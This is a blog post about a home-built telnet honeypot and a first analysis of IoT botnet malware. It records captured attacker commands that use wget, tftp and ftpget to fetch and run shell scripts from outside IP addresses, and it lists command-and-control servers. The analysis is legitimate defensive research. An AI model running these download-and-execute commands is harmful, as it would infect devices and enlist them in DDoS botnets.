I became curios about the spreading IoT malware through default usernames and passwords due to multiple media articles. So I spun up a VPS server and started using a tool created by Robert David Graham called telnetlogger. Immediately I saw the constant barrage of traffic that was being generated. Now the next question I had was what are the commands that are being executed on these IoT devices.
I first evaluated the source code provided on the Github site for telnetlogger to see if I wanted to re-write some of it to log the commands being sent in. I then searched around for a honeypot that would emulate a telnet server. Then I decided to write my own in python. It is not perfect but it accomplishes logging up to 9 commands after a successful login. The source code can be found on my
github page.
After running this telnet emulator for less than 48 hours I had logged some interesting commands that were trying to download a shell script to then pull down additional binaries that would execute and then be removed. Below are some of the commands that were observed in the log file called outputInfo.txt.
IP:('223.96.148.28', 61232)|U:|P:|C:cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.102.56.200/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 94.102.56.200 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 94.102.56.200; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh
IP:('24.105.255.153', 48191)|U:|P:|C:cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://173.208.196.202/bin.sh;sh bin.sh;busybox tftp -r bin2.sh -g 173.208.196.202;sh bin2.sh;busybox tftp -c 173.208.196.202 get bin3.sh;sh bin3.sh;busybox ftpget 173.208.196.202 bin4;sh bin4.sh;exit
IP:('27.188.253.77', 6057)|U:|P:|C:cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.142.236.215/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.142.236.215 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.142.236.215; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.142.236.215 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh
After pulling down the shell script using the wget command you can see the below commands being executed in a bash script.
As you can see it utilizes wget to download files that appear to be legitimate binaries that could be running on a linux server. I also like the trick of using a space as a filename to hide it's presence. It will then execute and then remove the binary if the script successfully executed.
I was curious why so many files were being downloaded and executed verses just having a couple. I then used the Linux program called "file" to identify the file. As you can see below each file is built for a different architecture. "Leave no device behind..."
ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, not stripped
ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
ELF 32-bit MSB executable, Motorola 68020 - invalid byte order, version 1 (SYSV), statically linked, not stripped
ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
ELF 32-bit MSB executable, SPARC version 1 (SYSV), statically linked, not stripped
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Utilizing a utility called ssdeep you can see that most of this malware is similar but if you evaluate the SHA1 hashes of the files across more than 13 samples collected most of them were different. Running strings on any of the binaries you can see the following:
This is an IP Address and port that has not been obfuscated. This turns out to be the CnC servers address and port that the bot will connect to. Also the parent registry of each IP Address will be listed. After identifying this pattern the below command could be executed to find the CnC servers address and port in all of the binaries. I will continue to update the below table as more CnC servers are found.
strings * | egrep -e "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}" | sort | uniq -c | sort -nr
64 192.156.82.47:666 ARIN (Observed on 11/21, 11/22, 11/23, 11/24)
44 5.79.109.170:550 RIPE (Observed on 11/19, 11/21, 11/22, 11/24)
30 23.94.47.57:873 ARIN (Observed on 11/7, 11/9, 11/16, 11/19)
24 208.67.1.120:5630 ARIN (Observed on 11/6, 11/9)
24 89.248.161.2:5888 RIPE (Observed on 11/22, 11/23, 11/24)
22 50.115.166.166:23 ARIN (Observed on 11/19)
22 93.158.200.94:1 RIPE (Observed on 11/21, 11/22)
16 149.7.102.155:666 ARIN (Observed on 11/19, 11/20)
12 208.67.1.62:31293 ARIN (Observed on 11/19)
12 208.67.1.65:23 ARIN (Observed on 11/20)
12 158.69.211.33:443 ARIN (Observed on 11/21, 11/24)
11 103.194.169.254:5888 APNIC (Observed on 11/6)
11 45.76.22.164:23 ARIN (Observed on 11/7)
11 69.30.233.142:23 ARIN (Observed on 11/7)
11 69.30.214.158:666 ARIN (Observed on 11/8)
11 198.23.150.37:23 ARIN (Observed on 11/19)
11 198.144.181.8:5050 ARIN (Observed on 11/19)
11 107.178.96.71:23 ARIN (Observed on 11/22)
11 50.115.160.131:23 ARIN (Observed on 11/23)
11 185.142.236.227:23 RIPE (Observed on 11/24)
10 198.167.140.12:23 ARIN (Observed on 11/22)
9 107.178.96.101:443 ARIN (Observed on 11/19)
8 176.126.246.239:5888 RIPE (Observed on 11/21)
2 112.124.3.121:7373 APNIC (Observed on 11/6)
The command returned the number of occurrences among the binaries that I had collected and the CnC IP Address and port. I was curious of the communication channel that was used if the binary was executed.
With one of the x86 binaries I spun up another VPS and while running tcpdump I executed the binary. I was expecting to observe in the packet captures a connection to an IRC channel however it connected using more of a raw connection. I saw this behavior after infecting a couple of the VPS servers with the malware.
This is just a quick initial analysis of how the malware is spreading, propagating, executing, and communicating with it's CnC servers. The infected devices obviously are being utilized to cause DDoS attacks and other activities of the miscreants wishes. Also with the variety of hashes that are available with each unique variant a traditional signature based solution would be inefficient to filter this activity. More to come but will wrap this up...
The information contained in this post is for educational purposes. Enjoy...
